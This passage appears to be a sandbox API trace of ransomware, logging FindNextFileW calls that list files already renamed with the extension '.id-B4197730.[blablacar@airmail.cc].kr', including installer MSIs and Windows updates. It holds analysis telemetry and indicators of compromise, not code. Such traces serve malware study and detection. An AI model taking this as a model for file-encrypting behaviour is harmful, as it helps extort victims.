ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420e60 [0175.410] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.410] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc85844a4, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PRINTI~1.KR")) returned 1 [0175.410] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87743a6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87743a6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87743a6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87743a6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87743a6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc879a69c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~2.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87c08dd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87c08dd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87c08dd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~3.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc885925a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc885925a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc885925a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROF213~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc87e6a49, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc87e6a49, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc87e6a49, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="ROTATE~4.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc880cd27, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc880cd27, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc880cd27, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO7A63~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc880cd27, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc880cd27, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc880cd27, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO17D4~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8832fbf, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8832fbf, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8832fbf, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RO7B70~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8abb8e3, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8abb8e3, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8abb8e3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SAVEIC~1.KR")) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc887f45c, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc887f45c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc887f45c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPI~1.KR")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc88a5667, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc88a5667, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8b2dec0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="STOPIC~1.KR")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89b057e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89b057e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89b057e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SYSREQ~1.KR")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89fcc25, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89fcc25, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8a22da3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SYSREQ~2.KR")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89d68a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89d68a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89d68a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WARNIC~1.KR")) returned 1 [0175.412] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89d68a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89d68a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89d68a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WARNIC~1.KR")) returned 0 [0175.412] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0175.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b62410, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="HEADER~1.KR")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcb7f4f43, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~1.KR")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xca0106e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~2.KR")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8ae1a9a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8ae1a9a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc9123cce, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~3.KR")) returned 1 [0175.413] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xcc19ee3e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~4.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc9634bb7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc9634bb7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc9d11d63, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NE2DFC~1.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca0106e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca0106e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca03506c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NE34C9~1.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b8869c, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b8869c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7f4224d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca06ba52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca06ba52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca085515, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RGB9RA~1.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca0b1175, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca0b1175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca0b99e0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RGB9RA~2.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca7484f5, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca7484f5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca7484f5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPE~2.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca499bbe, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca499bbe, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca9aab00, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPE~1.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca7949e1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca7949e1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcaa4392e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~2.KR")) returned 1 [0175.414] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c00022, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcaa6c612, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xcaa6c612, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcae196f1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~3.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c24893, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c24893, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c24893, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SPLASH~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcada6cfe, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xcada6cfe, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcadcd310, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SQMAPI~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="STRING~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d05eed, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d05eed, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d2df57, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d2df57, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7fb493b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WATERM~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xccb748e0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~2.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xcc19ee3e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~1.KR")) returned 1 [0175.415] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xcd0131e1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~3.KR")) returned 1 [0175.416] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcd7f8ff3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~4.KR")) returned 1 [0175.416] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, 